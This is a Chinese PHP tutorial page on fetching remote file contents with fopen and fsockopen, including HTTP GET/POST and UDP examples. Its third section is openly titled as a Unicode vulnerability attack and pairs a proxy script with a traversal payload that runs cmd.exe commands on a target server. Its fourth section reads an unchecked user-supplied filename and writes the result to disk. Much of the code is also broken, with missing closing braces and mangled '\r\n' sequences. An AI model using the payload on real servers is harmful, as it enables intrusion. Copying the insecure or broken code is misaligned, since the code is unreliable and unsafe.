PHP获取远程文件内容实例详解

发布时间:2019-09-24编辑:脚本学堂
本文主要介绍了php编程中获取远程文件内容的方法,分享一些实例,供大家学习php远程获取内容的实现方法,有需要的朋友参考下。

一、 介绍
只要在 php.ini 文件中激活了 allow_url_fopen 选项,您可以在大多数需要用文件名作为参数的函数中使用 HTTP 和 FTP URL 来代替文件名。
同时,您也可以在 include()、include_once()、require() 及 require_once() 语句中使用 URL。PHP 所支持协议的更多信息参见 附录 J。

注: 要在 PHP 4.0.3 及其以后版本中使用 URL,您需要用 --enable-url-fopen-wrapper 参数来配置 PHP。 Windows 版本的 PHP 4.3 版之前不支持以下函数的远程访问:include(),include_once(),require(),require_once() 以及 参考 XLI, 图像函数库 扩展库中的 imagecreatefromXXX 函数。
例如,您可以用以下范例来打开远程 WEB 服务器上的文件,解析您需要的输出数据,然后将这些数据用在数据库的检索中,或者简单地将其输出到您网站剩下内容的样式匹配中。

例子 x. fopen() 例子
 

复制代码 代码示例:
<?php 
$handle = fopen ("/home/rasmus/file.txt", "r"); 
$handle = fopen ("/home/rasmus/file.gif", "wb"); 
$handle = fopen ("http://www.example.com/", "r"); 
$handle = fopen ("ftp://user:password@example.com/somefile.txt", "w"); 
?> 

例子 X. 获取远程文件的标题
 

复制代码 代码示例:
<?php 
$file = fopen ("http://www.example.com/", "r"); 
if (!$file) { 
echo "<p>Unable to open remote file.n"; 
exit; 

while (!feof ($file)) { 
$line = fgets ($file, 1024); 
/* This only works if the title and its tags are on one line */ 
if (eregi ("<title>(.*)</title>", $line, $out)) { 
$title = $out[1]; 
break


fclose($file); 
?> 
 

如果您用有合法的访问权限,以一个用户的身份和某 FTP 服务器建立了链接,您还可以向该 FTP 服务器端的文件进行写操作。您仅能用该方法来创建新的文件;如果您尝试覆盖已经存在的文件,fopen() 函数的调用将会失败。

要以“anonymous”以外的用户名连接服务器,您需要指明用户名(甚至密码),例如“ftp://user: password@ftp.example.com/path/to/file”。(如果通过 HTTP 协议访问远程文件时需要基本身份认证,您也可以用使用的语法。)

例子 X. 远程服务端的数据存储
 

复制代码 代码示例:
<?php 
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w"); 
if (!$file) { 
echo "<p>Unable to open remote file for writing.n"; 
exit; 

/* Write the data here. */ 
fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "n"); 
fclose ($file); 
?> 
 

注: 您或许可以从以上范例中得到启发,用该技术来存储远程日志文件。但是正如以上提到的,在用 fopen() 方式打开的 URL 中,您仅能对新文件进行写操作。如果远程文件已经存在 fopen() 函数的操作将会失败。要进行类似的分布式日志操作,您可以参考 syslog() 函数。

在下面的内容里,我将以更多的实例描述这种功能的应用。

二、PHP中的POST&GET的应用

要使用PHP的POST&GET,可以运用fsockopen函数:

例子 1. fsockopen() Example
 

复制代码 代码示例:
<?php 
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30); 
if (!$fp) { 
  echo "$errstr ($errno)<br />n"; 
} else { 
  $out = "GET / HTTP/1.1rn"; 
  $out .= "Host: example.comrn"; 
  $out .= "Connection: Closernrn"; 
  fputs($fp, $out); 
  while (!feof($fp)) { 
    echo fgets($fp, 128); 
  } 
  fclose($fp); 

?>  

例子 2. Using UDP connection
 

复制代码 代码示例:
<?php 
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr); 
if (!$fp) { 
  echo "ERROR: $errno - $errstr<br />n"; 
} else { 
  fwrite($fp, "n"); 
  echo fread($fp, 26); 
  fclose($fp); 

?>  
 

 
例子 3
 

复制代码 代码示例:
<?php 
//定义一些连接参数 
$urls = array( 
'host'=>'localhost', 
'port'=>80, 
'path'=>'/index.php', 
'method'=>'POST', 
'protocol'=>'1.0', 
); 
//POST方法传递的参数 
$ps = array( 
'language'=>'php', 
'linux'=>'redhat', 
); 
//GET方法传递的参数 
$gs = array( 
'php'=>5, 
'redhat'=>9 
); 
/**
返回:得到POST或GET方法后返回的字符串(string)
参数:
  $usls : string
  $ps : array
  $gs : array
调用方法:
  getData($urls,$ps,'') //使用POST方法
  getData($urls,'',$gs) //使用GET方法
参考资料:http://cn.php.net/manual/en/function.fsockopen.php
*/ 
function getData($urls,$ps='',$gs=''){ 
  $host = $urls['host']; 
  $port = $urls['port']; 
  $path = $urls['path']; 
  $method = $urls['method']; 
  $protocol = $urls['protocol']; 
  $posts = ''; 
  $gets = ''; 
  if(is_array($ps)){ 
    foreach($ps as $k => $v){ 
      $posts .= urlencode($k)."=".urlencode($v).'&'; 
    } 
    $posts = substr($posts,0,-1); 
    $len = strlen($posts); 
  } 
  if(is_array($gs)){ 
    foreach($gs as $k => $v){ 
      $gets .= urlencode($k)."=".urlencode($v).'&'; 
    } 
    $gets = substr($gets,0,-1); 
  } 
  $fp = fsockopen($host, $port,$errno,$errstr,3); 
  if(!$fp){ 
    echo "can't connect...rn<br>Error:$errstr"; 
    return ; 
  } 
  fputs($fp, "$method $path?$gets HTTP/$protocolrn"); 
  fputs($fp, "Host: localhostrn"); 
  if($posts != ''){ 
    fputs($fp, "Content-type: application/x-www-form-urlencodedrn"); 
    fputs($fp, "Content-Length: $lenrn"); 
    fputs($fp, "rn"); 
    fputs($fp, $posts); 
  } 
  fputs($fp, "Connection: Closernrn"); 
  $s = ''; 
  do{ 
   $data = fgets($fp,1024); 
   if($data == '') { 
     break; 
   } 
   $s .= $data; 
  } while(true); 
  fclose($fp); 
  return $s; 

//这里是使用POST方法取得目标网页返回的字符串 
echo getData($urls,$ps,''); 
//如果要使用GET方法就用如下方式: 
echo getData($urls,'',$gs); 
?> 
 

 
三、UNICODE漏洞攻击
代码:
 

复制代码 代码示例:
<?php 
$fp=@fopen($url,"r") or die ("cannot open $url"); 
while($line=@fgets($fp,1024)) { 
$contents.=$line; 

echo $contents; //显示文件内容 
fclose($fp); //关闭文件 
?> 
 
 

使用:
/XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir

四、WEB间文件转移:
 

复制代码 代码示例:
<?php 
$fp = fopen($_GET['filename'], 'rb'); 
$data = $tmp = ''; 
while ( true ) { 
$tmp = fgets($fp, 1024); 
if ( 0 === strlen($tmp) ) { 
break; 

$data .= $tmp; 

fclose($fp); 
$file=preg_replace("/^.+//","",$filename); 
//write 
$fp = fopen("$file", 'wb'); 
fwrite($fp, $data); 
fclose($fp); 
?>